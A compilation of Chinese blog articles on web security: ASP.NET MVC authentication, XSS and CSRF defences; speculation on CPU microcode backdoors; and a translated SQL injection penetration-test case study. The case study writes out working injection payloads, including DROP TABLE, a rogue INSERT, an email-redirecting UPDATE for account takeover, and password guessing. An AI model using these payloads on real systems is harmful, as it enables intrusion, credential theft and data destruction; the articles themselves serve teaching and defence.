  2. 授权
  3. XSS跨站脚本攻击
  4. 跨站请求伪造

 

认证

所谓认证,简单的来说就是验证一个用户的身份。这取决于我们开发的站点的类型,是否允许匿名访问,是否是属于管理员或者其它角色的用户等等。也就是说我们的整个程序或者某些功能是针对某些特定的用户开发的,那么我们可能就要进行认证来确定用户的身份。需要注意的是,认证与授权是是完全不一样的概念,我们要区别对待。打个比方,在ASP.NET MVC里面允许某一类用户访问某个Action就是授权。

ASP.NET MVC中主要有两种认证机制

  1. Forms 认证
  2. Windows 认证

Forms 认证

从字面上我们就可以得到一些信息,基于表单的认证提供给用户一个表单可以输入用户名和密码,然后我们可以在我们的程序中写自己的逻辑去验证这些信息。ASP.NET MVC为Forms认证提供了很多支持,并且有很强自定义性。从通过表单登录到用户信息存储在什么地方,到怎么样去验证这些用户信息。Forms认证默认是依靠cookie技术实现的,一旦某个用户登录站点,那么用户所使用的这个浏览器就会得到一个cookie并且在后面所有与这个站点的其它请求中都会将这个cookie包含在http的头中。ASP.NET能够检测到这个cookie,这个cookie中包含了用户的认证信息,那么后面就不需要再重复的认证用户了。

Windows认证

Windows 认证也就是大家熟悉的集成身份认证,因为它使用了集成在Windows操作系统中的用户组件来认证用户。一旦某个用户登录到域中,Windows能够在应用程序中自动认证他们。Windows认证一般在企业局域网内比较常用,一般企业局域网中所有的用户都需要用域身份来登录,这个有点像单点登录的体验,一旦进入域中就可以就可以很方便的同时登录域内的其它应用程序。

配置Forms认证

首先我们需要更改web.config中的authentication结点。

这个配置信息很简单,首先我们要使用的authentication类型是Forms认证。通过loginUrl指定我们认证用户的页面。这个Account Controller和 Login View还有一些允许用户注册的View都被ASP.NET MVC的internet模板默认实现了。我们可以轻而易举在在ASP.NET MVC中实现Forms认证。

打开Visual Studio 2010 > New Project > Select ASP.NET MVC 4 Web Application 点击确认。

然后选择Internet Application点击确认,Forms认证所需要的Controller 和View等等都会默认包含在我们的项目里面了。

Authorize 属性

Authorize不关注我们如何认证用户,我们既可以用Forms认证也可以用Windows认证。Authorize会去检测当前用户是否有身份信息。如果我们在Index上加上Authorize属性那么匿名用户就不能访问我们的Index Action了。他们会被跳转到Account/Login,也就是我们上面在web.config中配置的loginUrl。

 

如何配置Windows认证

和Forms认证一样,首先我们需要更改一下web.config中的authentication结点。

然后同样地,应用Authorize属性到我们的Index Action上。

我们可以将Authorize应用到一个单独的Action上,也可以应用到一个Controller上。当我们在某一个Controller上应用Authorize属性时,也就意味着这个Controller下所有的Action都必须是经过认证的用户才允许访问 。

如果使用IIS Express的话,我们需要更改配置信息来启用Windows认证。否则我们就会得到以下错误页面。

我们可以到IIS Express的配置中去启用Windows认证,打开Windows Explorer进入我的文档> IIS Express > config > applicationhost.config。然后将windowsAuthentication enabled设置为true。

然后我们就可以拿到一些用户的信息。

 

授权

授权允许我们传递一些参数去设置规则,我们可以告诉Authroize属性只有某些具体用户才可以访问某个Action。

同时 ,我们还可以为Authorize属性指定 Roles。这些Roles默认匹配到我们web服务器的Windows Group或者是域管理器里面的用户组。

在Forms认证中, ASP.NET为我们提供了一个角色管理器(role provider)我们可以通过它来方便和将我们的角色信息存储到SQL中,并且进行管理。我们只需要点击一个按钮即可:

点击上面这个按钮之后,它会帮我们运行ASP.NET configuration tool。这个站点只能在本地运行,我们可以在这个站点管理我们的角色,这个站点默认使用的数据连接就是我们配置在web.config中的连接字符串。

 

XSS跨站脚本攻击

在web领域,有几个比较常见的安全隐患,其中一个比较流行的就是跨站脚本攻击。一些恶意的用户通过一些手段让我们的站点加载一些恶意的脚本,那么如果其它用户访问到这些脚本就有可能成为受害者。除了脚本,包括active-x控件,甚至一些恶意的Html都可以成为XSS的武器。XSS可以做到哪里事情 ?

  1. 窃取cookie
  2. 更改用户设置
  3. 下载恶意软件
  4. 更改内容
  5. 账户劫持

简单的说,我们可以通过XSS访问用户的个人信息以及身份信息。

XSS示例

这是一个简单的录入员工信息的页面,我们输入一些html代码然后保存页面。ASP.NET默认会去检测我们的request,发现类似html代码会直接拒绝我们的请求。

当然,有些时候我们需要允许用户输入html,那么只要在我们的Action上打上ValidateInput(false)即可。

这样我们就可以成功的提交 我们的请求了。

如上图所示,这样我们又遇到了另外一个问题。在ASP.NET MVC中razor默认会对所有输出进行html编码。这是ASP.NET MVC针对XSS攻击的另一道防火墙。通过为属性打上AllowHtml属性,我们可以允许某一个属性包含html的值,这样我们就可以移除Action上的ValidateInput属性。通过Html.Raw 我们可以将html输出到客户端。

 

Anti XSS library

如果我们允许用户输入html的话,有些人可能会尝试输入一些脚本 (不要说你没有想过在博客园输入一些脚本来玩玩?)

幸运的是,Microsoft为我们提供了一个组件,我们可以通过nugget或者Library Package Manager Console( Visual Studio > Tools > Library Package Manager > Package Manager Console 输入 Install-Package AntiXss回车 )

只需要简单的一句话,就可以移除所有的有害代码,是不是感觉又被Microsoft搞蠢了?

 

 

CSRF跨站请求伪造

跨站请求伪造也是一种危险的主流攻击。试想一下,某个用户登录到网站想修改一些个人信息,如果服务器端使用了Forms认证,那么在这个用户登录之后就会得到一个包含身份信息的cookie并且在后面所有这个站点下的请求中传递。当然这个并没有错,毕竟如果每次都去验证用户名和密码是一次不小的开销,验证一次之后将登录信息保存到cookie中,至少在用户不关闭浏览器之前,我们不用再重新去验证用户。

安全隐患在哪里?

如果浏览器端依然保留着我的身份信息,那在我访问其他恶意的站点的时候。这些恶意的站点就可以自己封装一个表单并提交到我们的服务器,虽然这个请求时恶意站点伪造的,但是因为它带有用户的身份,所以服务器是会正常处理的。小到更改用户资料,大到转走用户的账户余额都成为可能。

所以我们在处理请求的时候,不仅仅需要验证用户身份信息,还需要确保发送数据的表单是由我们服务器产生的。这样就可以避免其他恶意用户伪造表单发送数据。

CSRF示例

这里有一段很常见的代码,通过Edit Action来编辑用户信息。我们已经为Edit 打上了Authorize属性,也就是说用户是需要登录才能访问这个Action的。从普通开发的角度来看,这个程序是不会有什么问题的,我们首先通过正常渠道添加了一个用户。

接下来,很雷很雷的事情发生了。你收到一封邮件说你中奖了,给了你一个链接,或者在某个网站上本身就嵌入了一些恶意代码,而你不幸手一抖,就点了。接下来结果有可能是这样滴。

你的数据很轻松就被篡改了。如果账号是有余额的,你就哭吧。来看看这个页面 是如何实现的。

非常的简单,我们只需要将form的action指向实际的action就可以了。这个页面一旦被加载,这个表单就会自动提交,那我们的数据就被黑了,一切都是那么的简单。

 

如何避免?

ASP.NET MVC 为我们提供了Html.AntiForgeryToken() 方法,我们只需要在form中添加这句话。MVC 会为我们生成一个唯一标识放在form中的一个隐藏域中,该标识还会被存放到cookie中在客户端和服务器的请求中传输。另外我们要做的就是为我们的Action打上ValidateAntiForgeryToken的属性。

如果请求不包含这个cookie,那服务器就会拒绝这个请求,从而避免CSRF的攻击。

 

ASP.NET 安全,首发于博客 – 伯乐在线

CPU也可以有后门?

CPU的后门

人们普遍认为,任何一款软件都可以通过后门被破坏。举几个比较有代表性的例子如:Sony/BMG的安装程序,有个内置的后门禁止用户复制CD,这个后门也使得恶意的第三方能接管任何安装了该软件的机器;三星Galaxy,它有个后门允许调制解调器访问设备的文件系统,这也就允许了任何一个假基站来访问设备上的文件;以及Lotus Notes,它有个后门能使加密失败。

尽管后门多见于FPGA网络设备,但每当有人提起CPU上的后门程序是否可能的时候,大部分情况下大家都会断言这是不可能的。我不会断言CPU后门程序是存在的,但我会断言,如果有正确的访问权限,实现就很容易了。

比方说,你想制造出一个后门。你要怎么做呢?这要分三个环节:一个CPU后门能做什么,要怎样才能访问这个后门,需要什么样的让步才能安装该后门?

从第一个环节开始,后门能做什么?这就有很多很多的可能。最简单的就是提升权限:使CPU从ring3过渡到ring0或SMM,给正在运行的进程的内核级别的权限。因为它是负责运行的CPU嘛,完全可以无视硬件和软件虚拟化。你可以做很多更微妙或更具侵略性的事情,但权限提升不仅够简单,而且够强大,所以我就不再打算讨论其他的选项。

现在你知道了你想要借后门做什么,那么究竟应该如何触发后门呢?理想情况下,它应该既不会被人碰巧运行到,也无法通过暴力寻找到。即使有这样的限制,可能的触发状态空间仍旧是巨大的。

让我们来看一个特定的指令,fyl2x[1]。在正常操作下,它需要两个浮点寄存器作为输入,给您2*80=160位(bits)来隐藏一个触发器。如果你通过一对特定值来触发一个后门,可能相对于随机筛选更安全些。如果你真的很担心后门被人意外发现或暴力破解掉,你也可以检查两个正常输入寄存器以外的值(毕竟,你控制着整个CPU啊)。

这个触发器简单有效,但不足之处是要触发它很可能需要运行本机代码,但你其实不可能让Chrome或Firefox发出一个fyl2x指令。通过相对容易地令JavaScript引擎发出指令(像fadd),你可以尝试变通地去解决这个问题。与此相对的问题是,如果你想要patch一条add指令,并对它添加一些检查,它就会显著地变慢(尽管如此,如果你可以改写硬件,你应该能够无开销地完成它)。通过patch一个rep字符串指令,做一些事情来设置恰当的“key”,接在块拷贝(block copy)后面,或者idiv,也有可能可以创造一些难以检测并可以通过JavaScript来触发的后门。或者,如果你已经成功地得到了设计的副本,你也许可以想出一个办法,当任意一些JavaScript运行的时候,来使用调试逻辑触发器[2]或性能计数器去引发一个后门。

好了,现在你已经有一个后门了。那么你怎么植入该后门呢?在软件方面,你可以编辑源代码或二进制文件。在硬件方面,如果你有机会到访问到源,你可以在跟在软件中一样容易进行编辑。对硬件重编译源代码,建物理芯片,有着极高的固定成本;如果你试图让你的更改编入源代码,你要么牺牲设计[3],在一切被发送去生产之前就植入你的所有更改,要么牺牲生产过程,在最后一刻[4]偷偷植入你的更改。

如果这听起来太难了,你可以尝试牺牲补丁机制。多数现代的CPU配备了一个内置的补丁机制,允许事后的bug修复。你使用的CPU可能早就已经被修补过,也许从第一天开始就是,以作为固件更新的一部分的名目。你CPU补丁机制的细节是严格保密的。这很有可能是CPU上被蚀刻了一个公共密钥,这样它就只能接受已经签署了正确私钥的补丁。

这就是实际正在发生的事吗?我不知道。它可能发生吗?当然可能。有多大几率呢?唔,主要的挑战是非技术性的,所以我不是那个能给出这个问题答案的人。如果非要我猜的话,我会说不是,如果没有除了容易破坏其它设备以外的原因的话。

我还没有讨论如何制作这样一个后门:即使有人能够访问你用来触发后门的软件,也还是很难发现它。这更难,但是一旦芯片开始使用内置TPM的话,它就应该有可能了。

如果你有兴趣听到更多关于CPU内部的工作原理,你可能会对这篇关于过去35年内CPU的新功能的帖子感兴趣。

更新

关于这个话题更多的讨论见这条twitter主题。那里有一些非常好的评论。我对其中的一部分进行了摘录和总结,不过该帖子的讨论仍在继续。

因为有太多评论的缘故,我在此不一一指出哪些评论是谁的,尽管如此,以下是评论的作者们:@hackerfantastic, Arrigo Triulzi, David Kanter, @solardiz, @4Dgifts, Alfredo Ortega, Marsh Ray, 以及Russ Cox。当然,要是弄错了的话就怪我咯。

AMD的K7和K8对他们的微码(microcode)补丁机制作出了牺牲,因此容许了本帖所提到的这种攻击。事实上,AMD并没有加密它的更新或者至少对它的checksum进行验证,这让你能轻松地更改它的更新,直到你得到一个能达成你目的的CPU。

下面是由Alfredo Ortega出于演示目的而创建的一个后门的例子

对于没有硬件背景的亲们,这里有个不错的关于如何用VHDL实现一个CPU的谈话,里面还有个章节是关于如何实现后门的

是否有可能通过提供恶意的随机结果来利用RDRAND制造后门?是的,有可能。我在本帖的第一稿提到过,但我后来删掉了这个方法。因为在我的印象中,人们不信任RDRAND而且结果中一般混合了其他熵(entropy)来源。这不会彻底使这个后门无效,但却也显著地降低了它的价值。

有没有可能来存储和释放AES-NI键?要偷偷闪存内容到一个芯片上而不被任何人注意到,这大概不太可行,但是,现代芯片的逻辑分析仪能让你对数据进行存储和转储。尽管如此,对它们的访问是通过一些秘密的机制,目前还不清楚要如何访问二进制文件,才能允许你对它们进行逆向工程。与此形成鲜明对比的是K8逆向工程,它是可能的,因为微码(microcode)补丁被包括在固件更新中。

要检查触发器的指令前缀是可能的。 x86允许你对指令添加多余(和矛盾)的前缀。使用过的前缀都被很好的定义过,所以你可以根据需要添加尽可能多(不超过前缀长度限制)的前缀,而不会造成任何问题。它的问题是,很难不牺牲该微码(microcode)补丁的性能,对前缀数目和长度的限制则意味着:若不跨指令追踪状态,你的有效密钥长度就会比较短,并且你只能通过本地代码来生成触发器。

我们都知道,上文所述的一切都基于推测,其实并没有人见过真实世界里被应用的CPU后门。

致谢

感谢Leah Hanson大量的评注,Aleksey Shipilev的建议,以及众多参与者在上文所提到的twitter主题贴中的讨论。此外,感谢Markus Siemens注意到在一些RSS阅读器中引发问题的bug,并提供了解决方法。这不是仅仅局限于本帖,但它出现于此。

[1]关于指令的选择是有点,但不是完全,武断的。你可能需要一个缓慢并且微编码过(microcoded)的指令,便于打一个微码补丁,而不会造成巨大的性能损失。本脚注的其余部分是关于对指令进行微编码(microcoded)到底意味着什么。这部分很长,而且并不是本帖的关键点,所以你可以跳过它。

指令被微编码过(microcoded)与在硬件实现间差别多少,其实有点随意/难说。 CPU有一个需要实现的指令集,你可以把它想成公共API。但是在内部,他们其实可以执行不同的指令集,你可以把它想成私有API。

在现代英特尔芯片上,转成四个(或更少)uops(私有API调用)的指令会由解码器直接译成uops。会引发更多uops的指令(从5到数百甚至数千)则由从CPU中小小的ROM或RAM的读取uops的微码引擎来解码。为什么是四而不是五?这个结果是出于权衡,而非基本真理。对此专用的术语尚未规范,但我认识的人会说,如果它的解码是由微码引擎完成的,那么指令是“微编码过的”(“microcoded”),如果它的解码是由标准解码器来处理的,那么就说它是“硬件实现的”。微码引擎有点像自有的CPU,因为它必须能够完成类似,对架构上不可见的临时寄存器进行读取和写入操作,对内部RAM读写需要超过少量寄存器暂存空间的指令,对微码引擎获取和解码的微码指令进行条件微码分支,如此等等。

实现细节往往变化无常(并且通常是机密)。但无论如何实现,你可以把微码引擎想象成CPU启动时加载写有微码(microcode)的RAM,之后从该RAM获取及解码出相应微码(microcode)指令的部件。通过打微码补丁来改变开机加载执行的微码就很容易了。

为了更快的调试周转期,假设英特尔存在这样的机制:使得他们能迫使非微码(non-microcoded)的指令在微码RAM外执行,以使CPU能打微码补丁,是合理甚至可能的。但是,即使这不是这种情况,牺牲微码补丁机制来修改一个微代码指令应该也足够安装一个后门上去了。

[2] 这里的大部分内容都未曾记载于官方文档,但是你可以得到一个高层次的概述:关于英特尔在他们几代前的芯片上制作什么样的调试触发器,于《Intel Technology Journal》第128页,第4卷,第3期

[3] 在过去的几年中,一直有关于大型企业是否受到了损害以及这可不可能的争论。在冷战期间,政府在各方面的机构受到了长时间不同程度的损害,尽管它能获得不向现在的任何企业开放的对策(外国公民避免,“强化审讯技术”等)。我不确定,我们是否永远都不会知道企业是否受到了损害,但危及当今的企业比起危及在冷战期间的政府机构来说肯定还是容易多了,并且这显然是可行的。

[4]这又是一个关于minutia的超长注脚!特别是,它是关于制造过程的。你可能想要跳过它!如果你没有跳过的话,请别怪我没提醒你哦。

事实证明,在制造完成之前修改芯片是比较容易的,从设计角度来说。要解释为什么的话,我们就得看看芯片是如何制成的。

英特尔芯片的横截面,22纳米制作工艺

“英特尔芯片的横截面,22纳米制作工艺”

当你观察一个芯片横截面的时候,可以看到硅门在底部,形成类似与非门的逻辑原语,在它以上有一系列(标记着M1到M8)的金属层,形成连接不同门的线路。制造过程的卡通模型类似于传统的石版印刷:芯片由底部向上,一次一层,每层通过沉积一些材料,然后使用掩模蚀刻出来。非卡通的版本则相当复杂的:据Todd Fernendez估计,大约需要500个步骤来制造出“M1”下面的芯片层。除此之外,所需精密程度之高使得用于蚀刻的光在设备上造成了太大的磨损。你通常可能不会认为透镜会因为被光线穿过而磨损,但在制作一个晶体管所需的数百个步骤要求的精度水平下,这就是一个严重的问题了。放心吧,你并不是唯一那个会对此觉得惊讶的人。上世纪90年代的ITRS路线图预测出,到2016年,我们在9纳米工艺(越小越好)上会达到接近30GHz(越高越好),芯片消耗将近300瓦。相反,现在5GHz就被认为相当快了,直至2016年初,任何非英特尔的厂商能在14纳米制作工艺上获得高产出都算是好运气了。制造芯片比任何人猜测的都更难。

一个现代芯片要有足够的芯片层,它从制作开始到结束需要三个月左右的时间。这使bug的出现成为了非常糟糕的状况,因为要修复一个bug,就需要对最底下一个需要三个月来制造芯片层做改动。为了减少bug修复所用的周转时间,典型的做法是在硅片各处散布未使用的逻辑门,那么修复小的bug只需要修改几个接近顶部的芯片层就可以了。由于芯片制作是流水线工艺,在任何时间点,都有几批部分完成的芯片。如果你只需要修改顶部金属层中的一个,那么你可以改动这些半成品,使周转时间从几个月缩短到几周。

由于芯片设计要求易于修改,如果有人能够在它被制造之前访问到芯片的设计(如制造商),那么他就可以使用相对较小的改动引发较大的变化。

CPU也可以有后门?,首发于博客 – 伯乐在线

实例讲解 SQL 注入攻击

一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。

“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。

我们记录下了在多次错误的转折后经历的曲折过程,而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白,我们并没有完全被误导。

其他的SQL文章包含了更多的细节,但是这篇文章不仅展示了漏洞利用的过程,还讲述了发现漏洞的原理。

目标内网

展现在我们眼前的是一个完整定制网站,我们之前没见过这个网站,也无权查看它的源代码:这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上,并且是ASP.NET架构。这就暗示我们数据库是微软的SQL server:我们相信我们的技巧可以应用在任何web应用上,无论它使用的是哪种SQL 服务器。

登陆页有传统的用户-密码表单,但多了一个 “把我的密码邮给我”的链接;后来,这个地方被证实是整个系统陷落的关键。

当键入邮件地址时,系统假定邮件存在,就会在用户数据库里查询邮件地址,然后邮寄一些内容给这个地址。但我的邮件地址无法找到,所以它什么也不会发给我。

对于任何SQL化的表单而言,第一步测试,是输入一个带有单引号的数据:目的是看看他们是否对构造SQL的字符串进行了过滤。当把单引号作为邮件地址提交以后,我们得到了500错误(服务器错误),这意味着“有害”输入实际上是被直接用于SQL语句了。就是这了!

我猜测SQL代码可能是这样:

SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';

$EMAIL 是用户从表单提交的地址,并且这段查询在字符串末端$EMAIL上提供了引号。我们不知道字段或表的确切名字,但是我们了解他们的本质,这有助于我们做正确的猜测。

当我们键入steve@unixwiz.net‘ -注意这个末端的引号 – 下面是这个SQL字段的构成:

SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';

当这段SQL开始执行,SQL解析器就会发现多余的引号然后中断执行,并给出语法错误的提示。这个错误如何清楚的表述给用户,基于应用内部的错误恢复规程,但一般来说都不会提示“邮件地址不存在”。这个错误响应成了死亡之门,它告诉别人用户输入没有被正确的处理,这就为应用破解留下了可乘之机。

这个数据呈现在WHERE的从句中,让我们以符合SQL规范的方式改变输入试试,看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下:

SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';

因为应用不会思考输入 – 仅仅构造字符串 – 我们使用单引号把WHERE从句的单一组成变成了双组成,’x’=‘x从句是恒成立的,无论第一个从句是什么。(有一种更好的方式来确保“始终为真”,我们随后会接触到)。

 

但与每次只返回单一数据的“真实”查询不同,上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么,唯一的方法就是尝试,尝试,再尝试。我们得到了这个:


你的登录信息已经被邮寄到了 random.person@example.com.


我们猜测这个地址是查询到的第一条记录。这个家伙真的会在这个邮箱里收到他忘记的密码,想必他会很吃惊也会引起他的警觉。

我们现在知道可以根据自己的需要来篡改查询语句了,尽管对于那些看不到的部分还不够了解,但是我们注意到了在多次尝试后得到了三条不同的响应:

  • “你的登录信息已经被邮寄到了邮箱”
  • “我们不能识别你的邮件地址”
  • 服务器错误

前两个响应是有效的SQL,最后一个响应是无效的SQL:当猜测查询语句结构的时候,这种区别非常有用。

模式字段映射

第一步是猜测字段名:我们合理的推测了查询包含“email address”和“password”,可能也会有“US Mail address”或者“userid”或“phone number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名,现在没有比较明显的办法可以拿到表名。

我们进行了下一步。在每次测试中,我们会用我们已知的部分加上一些特殊的构造语句。我们已经知道这个SQL的执行结果是email地址的比对,因此我们来猜测email的字段名:

SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';

目的是假定的查询语句的字段名(email),来试试SQL是不是有效。我不关心匹配的邮件地址是啥(我们用了个伪名’x’),——’这个符号表示SQL注释的起始。对于去除应用末尾提供的引号,这是一个很有效的方式,我们不用在乎我们屏蔽掉的是啥。

如果我们得到了服务器错误,意味着SQL有不恰当的地方,并且语法错误会被抛出:更有可能是字段名有错。如果我们得到了任何有效的响应,我们就可以猜测这个字段名是正确的。这就是我们得到“email unknown”或“password was sent”响应的过程。

我们也可以用AND连接词代替OR:这是有意义的。在SQL的模式映射阶段,我们不需要为猜一个特定的邮件地址而烦恼,我们也不想应用随机的泛滥的给用户发“这是你的密码”的邮件 – 这不太好,有可能引起怀疑。而使用AND连接邮件地址,就会变的无效,我们就可以确保查询语句总是返回0行,永远不会生成密码提醒邮件。

提交上面的片段的确给了我们“邮件地址未知”的响应,现在我们知道邮件地址的确是存储在email字段名里。如果没有生效,我们可以尝试email_address或mail这样的字段名。这个过程需要相当多的猜测。

接下来,我们猜测其他显而易见的名字:password,user ID, name等等。每次只猜一个字段,只要响应不是“server failure”,那就意味着我们猜对了。

SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';

在这个过程中,我们找到了几个正确的字段名:

  • email
  • passwd
  • login_id
  • full_name

无疑还有更多(有一个线索是表单中的字段名),一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名,它们在哪找到的?

寻找数据库表名

应用的内建查询指令已经建立了表名,但是我们不知道是啥:有几个方法可以找到表名。其中一个是依靠subselect(字查询)。

一个独立的查询

SELECT COUNT(*) FROM tabname

返回表里记录的数量,如果表名无效,查询就会失败。我们可以建立自己的字符串来探测表名:

SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

我们不关心到底有多少条记录,只关心表名是不是正确。重复多次猜测以后,我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么?所以我们需要另一个测试,使用table.field:实际查询的部分只工作在这个表中,而不是只要表存在就执行。

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';

当返回“Email unknown”时,就意味着我们的SQL注入成功了,并且我们正确的猜测出了表名。这对后面的工作很重要,但是我们暂时先试试其他的方法。

找用户账号

我们对members表的结构有了一个局部的概念,但是我们仅知道一个用户名:任意用户都可能得到“Here is your password”的邮件。回想起来,我们从未得到过信息本身,只有它发送的地址。我们得再弄几个用户名,这样就能得到更多的数据。

首先,我们从公司网站开始找几个人:“About us”或者“Contact”页通常提供了公司成员列表。通常都包含邮件地址,即使它们没有提供这个列表也没关系,我们可以根据某些线索用我们的工具找到它们。

LIKE从句可以进行用户查询,允许我们在数据库里局部匹配用户名或邮件地址,每次提交如果显示“We sent your password”的信息并且邮件也真发了,就证明生效了。

警告:这么做拿到了邮件地址,但也真的发了邮件给对方,这有可能引起怀疑,小心使用。

我们可以查询email name或者full name(或者推测出来的其他信息),每次放入%通配符进行如下查询:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';

记住尽管可能不只有一个“Bob”,但我们只能看到一条信息:建议精炼LIKE从句。

密码暴力破解

可以肯定的是,我们能在登陆页进行密码的暴力破解,但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志,帐号锁定,或者其他能阻碍我们行动的方式,但是因为存在未过滤的输入,我们就能绕过更多的保护措施。

我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中,我们用了受害者bob@example.com 并尝试了多组密码。

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = '<a href="mailto:bob@example.com">bob@example.com</a>' AND passwd = 'hello123';

这是一条很好使的SQL语句,我们不会得到服务器错误的提示,只要我们得到“your password has been mailed to you”的提示信息,就证明我们已经得到密码了。这时候受害人可能会警觉起来,但谁关心他呢,我们已经得到密码了。

这个过程可以使用perl脚本自动完成,然而,我们在写脚本的过程中,发现了另一种方法来破解系统。

数据库不是只读的

迄今为止,我们没做查询数据库之外的事,尽管SELECT是只读的,但不代表SQL只能这样。SQL使用分号表示结束,如果输入没有正确过滤,就没有什么能阻止我们在字符串后构造与查询无关的指令。

The most drastic example is:

这剂猛药是这样的:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';  -- Boom!

第一部分我们准备了一个伪造的email地址——‘X’——我们不关心查询结果返回什么:我们想要得到的只是我们自己构造的SQL指令。这次攻击删除了整个members表,这就不太好玩了。

这表明我们不仅仅可以切分SQL指令,而且也可以修改数据库。这是被允许的。

添加新用户

我们已经了解了members表的局部结构,添加一条新纪录到表里视乎是一个可行的方法:如果这成功了,我们就能简单的用我们新插入的身份登陆到系统了。

不要太惊讶,这条SQL有点长,我们把它分行显示以便于理解,但它依然是一条语句:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

即使我们得到了正确的字段名和表名,但在成功攻击之前我们还有几件事需要了解:

  1. 在web表单里,我们可能没有足够的空间键入这么多文本(尽管可以用脚本解决,但并不容易)。
  2. web应用可能没有members表的INSERT权限。
  3. 母庸置疑,members表里肯定还有其他字段,有一些可能需要初始值,否则会引起INSERT失败。
  4. 即使我们插入了一条新纪录,应用也可能不正常运行,因为我们无法提供值的字段名会自动插入NULL。
  5. 一个正确的“member”可能额不仅仅只需要members表里的一条纪录,而还要结合其他表的信息(如,访问权限),因此只添加一个表可能不够。

在这个案例里,我们遇到了问题#4或#5,我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候,返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的,但我们没有办法正确处理。

一个可行的办法是猜测其他字段,但这是一个劳力费神的过程:尽管我们可以猜测其他“显而易见”的字段,但要想得到整个应用的组织结构图太难了。

我们最后尝试了其他方式。

把密码邮给我

我们意识到虽然我们无法添加新纪录到members数据库里,但我们可以修改已经存在的,这被证明是可行的。

从上一步得知 bob@example.com 账户在这个系统里,我们用SQL注入把数据库中的这条记录改成我们自己的email地址:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = <a href="mailto:'steve@unixwiz.net">'steve@unixwiz.net</a>'
      WHERE email = <a href="mailto:'bob@example.com">'bob@example.com</a>';

运行之后,我们自然得到了“we didn’t know your email address”的提示,但这在预料之中,毕竟我们用了假的email地址。UPDATE操作不会通知应用,因此它悄然执行了。

之后,我们使用了“I lost my password”的功能,用我们刚刚更新的email地址,一分钟后,我们收到了这封邮件:

From: <a href="mailto:system@example.com">system@example.com</a>
To: <a href="mailto:steve@unixwiz.net">steve@unixwiz.net</a>
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

现在,我们要做的就是跟随标准的登录流程进入系统,这是一个高等级职员,有高级权限,比我们INSERT的用户要好。

我们发现这个企业内部站点内容特别多,甚至包含了一个全用户列表,我们可以合理的推出许多内网都有同样的企业Windows网络帐号,它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码,并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口,这让登录测试变得更简单。

我们又挑了几个帐号测试都没有成功,我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。

其他方法

在这次特定的渗透中,我们得到了足够的权限,我们不需要更多了,但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。

我们意识到不是所有的方法都与数据库无关,我们可以来试试。

调用xp_cmdshell

微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用,那webserver被渗透是无法避免的。

迄今为止,我们做的都被限制在了web应用和数据库这个环境下,但是如果我们能执行任何操作系统指令,再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用,但它也可能授权给了更低级的用户。

绘制数据库结构

在这个登录后提供了丰富功能应用上,已经没必要做更深的挖掘了,但在其他限制更多的环境下可能还不够。

能够系统的绘制出数据库可见结构,包含表和它们的字段结构,可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。

从网站的其他方面收集更多有关数据结构的信息(例如,“留言板”页?“帮助论坛”等?)。不过这对应用环境依赖强,而且还得靠你准确的猜测。

减轻危害

我们认为web应用开发者通常没考虑到“有害输入”,但安全人员应该考虑到(包括坏家伙),因此这有3条方法可以使用。

输入过滤

过滤输入是非常重要的事,以确保输入不包含危险代码,无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”,像引号、分号或转义符号,但这是一种不太好的方式。尽管找到一些危险字符很容易,但要把他们全找出来就难了。

web语言本身就充满了特殊字符和奇怪的标记(包括那些表达同样字符的替代字符),所以想要努力识别出所有的“恶意字符”不太可能成功。

换言之,与其“移除已知的恶意数据”,不如移除“良好数据之外的所有数据”:这种区别是很重要的。在我们的例子中,邮件地址仅能包含如下字符:

abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+

